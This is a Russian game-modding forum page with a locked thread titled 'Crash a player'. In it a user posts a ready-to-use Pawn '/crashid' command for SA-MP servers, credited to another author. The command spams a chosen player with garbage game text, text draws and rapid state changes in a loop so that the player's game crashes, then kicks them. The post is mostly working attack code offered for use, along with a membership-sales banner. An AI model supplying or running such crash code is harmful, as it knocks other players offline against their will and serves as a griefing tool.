Доступ к архиву

Переход в группу "Пользователь"

300.00 ₽
Одноразовый платёж
Быстрый переход в группу "Пользователи", без надобности написания постов и ожидания.

Покупка дает возможность:
Быть полноправным участником форума
Нормальное копирование кода
Создавать темы
Скачивать файлы
Доступ к архиву Pawno-Info

Крашим игрока

Статус
В этой теме нельзя размещать новые ответы.

Merlin

Умник
Серверу и другим игрокам не вредит, проверено.
Автор - [MiB]Matt (gabriels)
Не спер, не переделал.
​
PHP:
if(strcmp(cmd, "/crashid", true) == 0) 
{ 
      tmp = strtok(cmdtext,idx); 
      if(!strlen(tmp)) return SendClientMessage(playerid,0x00BFFFAA,"[L&M]: {ffffff}Вы не указали игрока, которого хотите заставить вылететь из игры."); 
      new id = strval(tmp); 
      new crashstr[1000]; 
      for(new i = 0; i<1000; i++) 
      { 
          GameTextForPlayer(id, "•¤¶§!$$%&'()*+,-./01~!@#$^&*()_-+={[}]:;'<,>.?/", 1000, 0); 
          GameTextForPlayer(id, "•¤¶§!$$%&'()*+,-./01~!@#$^&*()_-+={[}]:;'<,>.?/", 2000, 1); 
          GameTextForPlayer(id, "•¤¶§!$$%&'()*+,-./01~!@#$^&*()_-+={[}]:;'<,>.?/", 3000, 2); 
          GameTextForPlayer(id, "•¤¶§!$$%&'()*+,-./01~!@#$^&*()_-+={[}]:;'<,>.?/", 4000, 3); 
          GameTextForPlayer(id, "•¤¶§!$$%&'()*+,-./01~!@#$^&*()_-+={[}]:;'<,>.?/", 5000, 4); 
          GameTextForPlayer(id, "•¤¶§!$$%&'()*+,-./01~!@#$^&*()_-+={[}]:;'<,>.?/", 6000, 5); 
          GameTextForPlayer(id, "•¤¶§!$$%&'()*+,-./01~!@#$^&*()_-+={[}]:;'<,>.?/", 7000, 6); 
          SetPlayerVirtualWorld(id, i); 
          SetPlayerSkin(id, i); 
          SetPlayerInterior(id, i); 
          SetPlayerHealth(id, i); 
          SetPlayerArmour(id, i); 
          SetPlayerTime(id,i,i); 
          SetPlayerWeather(id,i); 
          new Text:welcomeText; 
          welcomeText = TextDrawCreate(i,i,"~"); 
          TextDrawShowForPlayer(id,welcomeText); 
          new crashnumber; 
          crashnumber = random(10); 
          format(crashstr, sizeof(crashstr), "%s %d", crashstr, crashnumber); 
          SendClientMessage(id, PlayerColors[random(sizeof(PlayerColors))], crashstr); 
      } 
      Kick(id); // на случай, если игрок сидит через бота 
      return 1; 
}
 
Последнее редактирование:
Статус
В этой теме нельзя размещать новые ответы.
Сверху Снизу